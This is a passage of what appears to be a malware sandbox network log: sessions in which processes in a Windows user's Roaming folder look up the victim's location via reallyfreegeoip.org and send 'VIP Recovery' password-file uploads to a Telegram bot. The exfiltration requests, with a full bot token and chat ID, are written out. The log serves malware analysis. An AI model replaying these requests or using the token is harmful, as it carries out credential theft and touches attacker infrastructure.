2024-08-13 18:25:32 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-08-13 18:25:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.22	49198	188.114.97.3	443	3560	C:\Users\user\AppData\Roaming\bKVNuVuE.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:25:32 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-08-13 18:25:32 UTC	704	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:25:32 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10635 Last-Modified: Tue, 13 Aug 2024 15:28:17 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bpkkcWbIE2Pb3kxew5xW83voHobJfcXymvMhSEWUki8j%2BK9Wq1XINEmz5xga7DOOBAqIqh7lHB%2FFfKW8SH6tGNSx4FUrAx3FnuXnAiTbk8HhkJUYqyRdKJNtQxVs6SRPUJuoe1qo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b2abf91fd304411-EWR alt-svc: h3=":443"; ma=86400
2024-08-13 18:25:32 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-08-13 18:25:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.22	49199	149.154.167.220	443	3620	C:\Users\user\AppData\Roaming\sihost.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:25:33 UTC	352	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:888683%0D%0ADate%20and%20Time:%208/14/2024%20/%207:15:53%20AM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20888683%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-08-13 18:25:33 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Tue, 13 Aug 2024 18:25:33 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-08-13 18:25:33 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.22	49201	188.114.97.3	443	3560	C:\Users\user\AppData\Roaming\bKVNuVuE.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:25:37 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-08-13 18:25:37 UTC	704	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:25:37 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10640 Last-Modified: Tue, 13 Aug 2024 15:28:17 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YxPUVlkTh6qII1QOxsCg5zKfxYpq62XKM%2Bs64GIFmbETttHIktbSdrIKetHEe7yEeZWiWYwzZWVVMPZtQzZNWC%2FhEF9FV60ok5p4HiHX39GLS8yROecXg45FKRWETfdLBSidurm8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b2abfb1bddf43d0-EWR alt-svc: h3=":443"; ma=86400
2024-08-13 18:25:37 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-08-13 18:25:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.22	49202	149.154.167.220	443	3560	C:\Users\user\AppData\Roaming\bKVNuVuE.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:25:38 UTC	352	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:888683%0D%0ADate%20and%20Time:%208/15/2024%20/%207:26:06%20AM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20888683%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-08-13 18:25:39 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Tue, 13 Aug 2024 18:25:39 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-08-13 18:25:39 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.22	49204	149.154.167.220	443	3620	C:\Users\user\AppData\Roaming\sihost.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:25:49 UTC	367	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcbd929eb213d3 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-08-13 18:25:49 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 62 64 39 32 39 65 62 32 31 33 64 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 41 6c 62 75 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 38 38 36 38 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 38 2f 31 33 2f 32 30 32 34 20 2f 20 32 3a 32 34 3a 34 34 20 50 4d Data Ascii: --------------------------8dcbd929eb213d3Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:888683Date and Time: 8/13/2024 / 2:24:44 PM
2024-08-13 18:25:50 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 13 Aug 2024 18:25:50 GMT Content-Type: application/json Content-Length: 558 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-08-13 18:25:50 UTC	558	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 36 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 Data Ascii: {"ok":true,"result":{"message_id":1364,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"privat

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.22	49206	149.154.167.220	443	3620	C:\Users\user\AppData\Roaming\sihost.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:25:51 UTC	343	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcbd9b00a4d486 Host: api.telegram.org Content-Length: 560
2024-08-13 18:25:51 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 62 64 39 62 30 30 61 34 64 34 38 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 41 6c 62 75 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 38 38 36 38 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 38 2f 31 33 2f 32 30 32 34 20 2f 20 32 3a 32 34 3a 34 34 20 50 4d Data Ascii: --------------------------8dcbd9b00a4d486Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:888683Date and Time: 8/13/2024 / 2:24:44 PM
2024-08-13 18:25:52 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 13 Aug 2024 18:25:51 GMT Content-Type: application/json Content-Length: 558 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-08-13 18:25:52 UTC	558	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 36 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 Data Ascii: {"ok":true,"result":{"message_id":1365,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"privat

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.22	49209	149.154.167.220	443	3560	C:\Users\user\AppData\Roaming\bKVNuVuE.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:25:54 UTC	367	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcbdfb6c102920 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-08-13 18:25:54 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 62 64 66 62 36 63 31 30 32 39 32 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 41 6c 62 75 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 38 38 36 38 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 38 2f 31 33 2f 32 30 32 34 20 2f 20 32 3a 32 34 3a 35 36 20 50 4d Data Ascii: --------------------------8dcbdfb6c102920Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:888683Date and Time: 8/13/2024 / 2:24:56 PM
2024-08-13 18:25:54 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 13 Aug 2024 18:25:54 GMT Content-Type: application/json Content-Length: 558 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-08-13 18:25:54 UTC	558	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 36 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 Data Ascii: {"ok":true,"result":{"message_id":1366,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"privat

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.22	49210	149.154.167.220	443	3620	C:\Users\user\AppData\Roaming\sihost.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:25:55 UTC	367	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcbdac5db5126d Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-08-13 18:25:55 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 62 64 61 63 35 64 62 35 31 32 36 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 41 6c 62 75 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 38 38 36 38 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 38 2f 31 33 2f 32 30 32 34 20 2f 20 32 3a 32 34 3a 34 34 20 50 4d Data Ascii: --------------------------8dcbdac5db5126dContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:888683Date and Time: 8/13/2024 / 2:24:44 PM
2024-08-13 18:25:55 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 13 Aug 2024 18:25:55 GMT Content-Type: application/json Content-Length: 558 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-08-13 18:25:55 UTC	558	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 36 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 Data Ascii: {"ok":true,"result":{"message_id":1367,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"privat

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.22	49212	149.154.167.220	443	3560	C:\Users\user\AppData\Roaming\bKVNuVuE.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:25:56 UTC	343	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcbe0c6bb89c78 Host: api.telegram.org Content-Length: 560
2024-08-13 18:25:56 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 62 65 30 63 36 62 62 38 39 63 37 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 41 6c 62 75 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 38 38 36 38 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 38 2f 31 33 2f 32 30 32 34 20 2f 20 32 3a 32 34 3a 35 36 20 50 4d Data Ascii: --------------------------8dcbe0c6bb89c78Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:888683Date and Time: 8/13/2024 / 2:24:56 PM
2024-08-13 18:25:57 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 13 Aug 2024 18:25:57 GMT Content-Type: application/json Content-Length: 558 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
